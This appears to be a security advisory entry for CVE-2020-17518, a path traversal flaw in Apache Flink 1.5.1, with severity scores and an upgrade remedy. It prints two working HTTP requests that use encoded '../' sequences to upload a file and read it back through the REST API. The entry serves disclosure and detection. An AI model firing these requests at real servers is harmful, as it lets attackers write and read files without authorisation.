| Title | Apache Flink 1.5.1 - Local File Inclusion |
|---|---|
| Author | pdteam |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server. |
| Remediation | Upgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later). |
| CVSS Score | 7.5 |
| EPSS Score | 0.93243 |
| CVE ID | CVE-2020-17518 |
| CWE ID | CWE-22,CWE-23 |
| Tags | cve2020 cve lfi flink fileupload vulhub apache intrusive vkev vuln |
Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
POST /jars/upload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.13
Connection: close
Content-Length: 206
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Accept-Encoding: gzip
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
38FRUdtUDYBTJsnktJy5u4MjK4W
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/619.23 (KHTML, like Gecko) Version/15.3.85 Safari/619.23
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17518.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-17518.pcap
N/AN/A